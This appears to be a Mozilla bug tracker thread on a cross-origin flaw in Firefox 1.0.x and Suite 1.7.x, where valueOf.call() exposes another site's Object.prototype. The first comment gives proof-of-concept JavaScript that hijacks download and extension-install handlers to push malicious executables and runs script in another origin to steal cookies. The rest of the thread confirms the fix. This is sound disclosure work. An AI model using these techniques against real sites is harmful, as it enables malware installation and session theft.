fx 1.0.x and suite 1.7.x are affected. fx 1.5 and trunk are not affected. On fx 1.0.x and suite 1.7.x, when calling obj.valueOf.call() or obj.valueOf.apply() without argument, return value is valueOf's __parent__ that is Object.prototype. On fx 1.5 and trunk, return value is global object since Bug 290488 was fixed. There are ways to access other site's object (e.g. otherWin.focus, otherWin.history), thus an attacker can access other site's Object.prototype (e.g. otherWin.focus.valueOf.call()). For example: An attacker could hijack software download process on a trusted site. Exploitable page: <script> function download() { ... } </script> <a href="#" onclick="return download()">Download Now</a> Attacker: w = open(Exploitable page); o = w.focus.valueOf.call(); o.download = function() { w.location = MALICIOUS_EXE_URL; return false; }; An attacker could hijack extension install process on https://addons.mozilla.org/. https://addons.mozilla.org/: <a href="..." onclick="return install(event,'Extension Name', '../images/default.png');">Install Now</a> Attacker: w = open(Exploitable page); o = w.focus.valueOf.call(); o.install = function install( aEvent, extName, iconURL) { var params = new Array(); params[extName] = { URL: MALICIOUS_EXTENSION_URL, IconURL: iconURL, toString: function () { return this.URL; } }; InstallTrigger.install(params); return false; }; An attacker could run script in the context of other site. Exploitable page: <a href="javascript:void(0)" onclick="alert(location)">aaa</a> Attacker: w = open(Exploitable page); o = w.focus.valueOf.call(); o.alert = o.eval; o.location = MALICIOUS_CODE; // e.g. steal cookie

Load this testcase from https://recluse.mozilla.org/show_bug.cgi?id=327194#c4

I can confirm this on 1.0.7, but it is fixed in 1.0.8 nightlies. Most likely by the "split-window alternative" fix bug 316589

I can confirm this on: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060214 Firefox/1.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060214 I think "split-window alternative" does not fix this.

Don't know what mrbkap and I were testing Tuesday, but with a 20060216 Firefox 1.0.8 build I can reproduce all these testcases. Clearing "fixed" keywords.

I can also reproduce in 2/7 (right after bug 316589 landed), 2/11 and 2/13 I have no clue why my 2/14 debug build was immune, if I didn't have witnesses I would think I was imagining it.

The patch from bug 290488 fixes this.

patch from bug 290488 checked into aviary101/moz17 branches

Using Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060217 Firefox/1.0.8, I can confirm that Testcase 1 and Testcase 2 are fixed. When I try to run Testcase 3 the browser gets in a weird state and i get a not found error. If is good enough to verify with just the two testcases, then I will add the keyword. Using Mozilla 1.7.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060217, Testcase 1 is okay. Unable to run Testcase 2. Testcase 3 behaves the same way as it does in 1.0.8.

(In reply to comment #12) > When I try to run Testcase 3 the browser gets in a weird state and i get a > not found error. If is good enough to verify with just the two testcases, > then I will add the keyword. The fix makes w.focus.valueOf.call() return w instead of Object.prototype in w. Thus, testcase 3 ends up loading the following url, when evaluating |o.location = code;|. https://recluse.mozilla.org/window.alert('cookie:%20'%20+%20document.cookie); This is why you got a not found error.

If return values are *not* Object.prototype, all exploits in this bug never work.

v.fixed on 1.0.1 Aviary branch with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060220 Firefox/1.0.8, all testcases seem to pass.

Just to clarify on the Mozilla suite side, Testcase 2 does pass for the suite. In my earlier testing I noted that the test case did not pass. (In reply to comment #12) > Using Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060217 > Firefox/1.0.8, I can confirm that Testcase 1 and Testcase 2 are fixed. When I > try to run Testcase 3 the browser gets in a weird state and i get a not found > error. If is good enough to verify with just the two testcases, then I will add > the keyword. > > Using Mozilla 1.7.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) > Gecko/20060217, Testcase 1 is okay. Unable to run Testcase 2. Testcase 3 > behaves the same way as it does in 1.0.8. >